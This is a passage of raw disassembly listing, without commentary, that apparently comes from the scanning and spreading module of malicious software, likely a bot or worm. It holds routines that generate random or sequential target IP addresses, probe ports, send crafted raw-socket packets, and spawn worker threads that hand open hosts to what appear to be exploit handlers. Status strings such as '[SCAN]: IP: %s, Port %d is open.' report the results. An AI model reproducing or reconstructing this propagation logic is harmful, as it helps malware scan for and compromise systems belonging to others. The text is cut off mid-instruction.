[esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42314A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_4230BF jmp short loc_423169 ; --------------------------------------------------------------------------- loc_42314A: ; CODE XREF: sub_422B40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_445418[eax*4] mov [esp+7A0h+var_65C], edx loc_423169: ; CODE XREF: sub_422B40+608j or ebx, 0FFFFFFFFh loc_42316C: ; CODE XREF: sub_422B40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42318A lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4232A5 ; --------------------------------------------------------------------------- loc_42318A: ; CODE XREF: sub_422B40+635j push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push offset dword_4447F8 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013ED lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423267 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017EE push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx call near ptr 77C3FA76h nop add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017EE push eax call near ptr 77C47660h nop add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423396 ; --------------------------------------------------------------------------- loc_423267: ; CODE XREF: sub_422B40+688j push offset dword_4455E4 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset off_4455E0 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset aB ; " -b" mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4232A5: ; CODE XREF: sub_422B40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 loc_4232BD: ; CODE XREF: sub_422B40+132j mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_4232C4: ; CODE XREF: sub_422B40+735j ; sub_422B40+745j ... mov ecx, dword_4D808D lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset off_4455E0 mov ecx, esi call sub_4013ED mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax call near ptr 71AB3F41h nop push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_4455E4 call sub_4013ED test eax, eax jz short loc_42338B push offset off_4455E0 mov ecx, esi call sub_4013ED mov ebp, dword_511A9C mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42337E loc_423362: ; CODE XREF: sub_422B40+83Cj test eax, eax jz short loc_42337E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423362 loc_42337E: ; CODE XREF: sub_422B40+820j ; sub_422B40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423396 ; --------------------------------------------------------------------------- loc_42338B: ; CODE XREF: sub_422B40+7F1j mov [esp+7A0h+var_630], 0 loc_423396: ; CODE XREF: sub_422B40+722j ; sub_422B40+849j mov edx, dword_4D808D xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017EE push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4233F8 mov eax, offset aSequential ; "sequential" loc_4233F8: ; CODE XREF: sub_422B40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:4453FAh[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BEA add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402284 mov al, 1 jmp loc_422F3B sub_422B40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4236F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_448F30 mov ecx, offset dword_449958 setnz bl call sub_4014DD push eax push ebx push ebx push offset byte_4D8075 call sub_401857 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_445420[eax*4] inc ecx mov dword_445420[eax*4], ecx mov al, 1 retn sub_4236F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401E10j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50FAA8 nop call sub_5F76F7 mov eax, offset dword_50FAA8 add esp, 2Ch retn sub_423760 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423820 proc near ; CODE XREF: sub_401F55j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50DB50[esi*8] push eax nop call near ptr 71AB2BC0h inc eax push eax nop call near ptr 71AB2BC0h mov dword_50DB50[esi*8], eax pop esi retn sub_423820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423860 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423892 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423892: ; CODE XREF: sub_423860+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_511AC8 add esp, 18h cmp eax, ebx jnz short loc_4238CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4238CA: ; CODE XREF: sub_423860+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4238D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4238D6: ; CODE XREF: sub_423860+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4238E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4238E2: ; CODE XREF: sub_423860+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4238EC call esi ; rand loc_4238EC: ; CODE XREF: sub_423860+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50DB50[ecx*8], eax pop ebx add esp, 10h retn sub_423860 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423950 proc near ; CODE XREF: sub_401E56j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42397E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42397E: ; CODE XREF: sub_423950+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax call near ptr 71AB2B66h nop lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi nop call near ptr 71AB2DC0h push esi mov edi, eax call near ptr 71AB9639h nop xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423950 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_437B30 push ebx push ebp mov ebp, dword_511C38 push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A37 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423B69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423C68 ; --------------------------------------------------------------------------- loc_423B69: ; CODE XREF: ___:00423B5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi call near ptr 71AB2C69h nop mov edi, eax cmp edi, 14h jz short loc_423BC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5F76F7 lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423BC2: ; CODE XREF: ___:00423B87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423C13 mov edi, dword_511C64 loc_423BEA: ; CODE XREF: ___:00423C11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423C42 cmp [esp+0FEh], bp jnz short loc_423BEA loc_423C13: ; CODE XREF: ___:00423BE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423C63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C42: ; CODE XREF: ___:00423C07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C63: ; CODE XREF: ___:00423C23j push offset dword_4456DC loc_423C68: ; CODE XREF: ___:00423B64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423D10: ; CODE XREF: ___:loc_401F41j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call near ptr 27F0C4Bh nop push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:44AF8Bh[eax*4] mov eax, dword_44B18F[eax*4] mov ecx, dword_50DB54[eax*8] test ecx, ecx jz loc_423FBE mov ebx, off_511C00 loc_423D8C: ; CODE XREF: ___:00423FB4j mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423DA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423DAF ; --------------------------------------------------------------------------- loc_423DA7: ; CODE XREF: ___:00423D96j call sub_401F55 add esp, 4 loc_423DAF: ; CODE XREF: ___:00423DA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_511C88 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5F76F7 lea ecx, [esp+238h] push ecx push ebp call ebx ; sub_5F76F7 mov edx, [esp+150h] mov eax, [esp+14Ch] push edx push eax push esi call sub_401E56 add esp, 2Ch cmp eax, 1 jnz loc_423F9A cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423EBF push offset dword_50FA90 call near ptr 7C901005h nop mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5F76F7 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423E9F mov al, [esp+0A8h] test al, al jz short loc_423E7A mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423E97 ; --------------------------------------------------------------------------- loc_423E7A: ; CODE XREF: ___:00423E56j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423E97: ; CODE XREF: ___:00423E78j call sub_40152D add esp, 10h loc_423E9F: ; CODE XREF: ___:00423E4Bj lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50FA90 nop call near ptr 7C9010EDh jmp loc_423F9A ; --------------------------------------------------------------------------- loc_423EBF: ; CODE XREF: ___:00423E13j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5F76F7 mov eax, [esp+150h] lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+200h] lea edx, ds:4453F0h[ecx*4] push edx push eax call ebx ; sub_5F76F7 mov al, [esp+0B8h] add esp, 10h test al, al jz short loc_423F0C lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423F19 ; --------------------------------------------------------------------------- loc_423F0C: ; CODE XREF: ___:00423EF8j lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423F19: ; CODE XREF: ___:00423F0Aj call ebx ; sub_5F76F7 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44541C[edx*4] add esp, 0BCh loc_423F9A: ; CODE XREF: ___:00423E05j ; ___:00423EBAj push 7D0h nop call near ptr 2850369h mov eax, [ebp+204h] mov ecx, dword_50DB54[eax*8] test ecx, ecx jnz loc_423D8C mov esi, [esp+10h] loc_423FBE: ; CODE XREF: ___:00423D80j push esi call sub_401E3D add esp, 4 push 0 nop call near ptr 2850505h nop ; --------------------------------------------------------------------------- db 7Dh dup(0CCh) byte_42404D db 33h dup(0CCh) ; DATA XREF: sub_58F5B5+5FC1o ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_402284j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50DB50[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_40148D add esp, 150h cmp eax, ebx jnz short loc_424101 push offset dword_50FA90 call near ptr 27906F2h nop push offset dword_50FA90 call near ptr 2790E47h nop loc_424101: ; CODE XREF: ___:004240E9j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_5118D8 mov esi, ebx mov dword_50DB54[edx*8], ebx cmp eax, ebx mov ebx, off_511C00 jb loc_424230 mov edi, dword_51186C loc_424132: ; CODE XREF: ___:0042422Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5F76F7 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BEA lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F41 push 0 push 0 mov dword_44B18F[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_44B19F[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_44B19F[eax*4] test ecx, ecx jz short loc_4241F8 mov eax, [esp+158h] test eax, eax jnz short loc_42421E loc_4241E7: ; CODE XREF: ___:004241F4j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_4241E7 jmp short loc_42421E ; --------------------------------------------------------------------------- loc_4241F8: ; CODE XREF: ___:004241DAj nop call near ptr 27D0990h push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5F76F7 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42421E: ; CODE XREF: ___:004241E5j ; ___:004241F6j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424132 loc_424230: ; CODE XREF: ___:00424126j mov eax, [esp+12Ch] test eax, eax jz short loc_42425E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_424291 ; --------------------------------------------------------------------------- loc_42425E: ; CODE XREF: ___:00424239j mov ecx, [esp+130h] mov esi, 1 cmp dword_50DB54[ecx*8], esi jnz short loc_424291 loc_424273: ; CODE XREF: ___:00424288j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50DB54[edx*8], esi jz short loc_424273 mov eax, [esp+12Ch] loc_424291: ; CODE XREF: ___:0042425Cj ; ___:00424271j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50DB50[ecx*8] push ecx call near ptr 71AB3F41h nop push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5F76F7 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_4242F2 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_40152D add esp, 10h loc_4242F2: ; CODE XREF: ___:004242CBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50DB54[eax*8], 0 call ebp push 3 call sub_40148D add esp, 4 cmp eax, esi jnz short loc_424334 push offset dword_50FA90 nop call near ptr 27906F2h loc_424334: ; CODE XREF: ___:00424327j mov ecx, [esp+130h] push ecx call sub_401E3D add esp, 4 push 0 nop call near ptr 2850505h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424410 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424410 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424430: ; CODE XREF: ___:004015EBj mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401843 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424480 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4244D2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: sub_424480+16j mov eax, ebx pop ebp pop ebx retn 8 sub_424480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4021F8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424574 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424500 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245A0 proc near ; CODE XREF: sub_4016C2j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4245B3 push eax call near ptr 77C2C21Bh nop add esp, 4 loc_4245B3: ; CODE XREF: sub_4245A0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4245A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245E0 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_4245F7 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4245F7: ; CODE XREF: sub_4245E0+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424625 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424625: ; CODE XREF: sub_4245E0+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424654 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42466F ; --------------------------------------------------------------------------- loc_424654: ; CODE XREF: sub_4245E0+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42466F: ; CODE XREF: sub_4245E0+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_4245E0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_401B7Cj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_448F34 lea ecx, [esp+20h+var_8] call sub_4021F8 lea ecx, [esp+10h+var_8] call 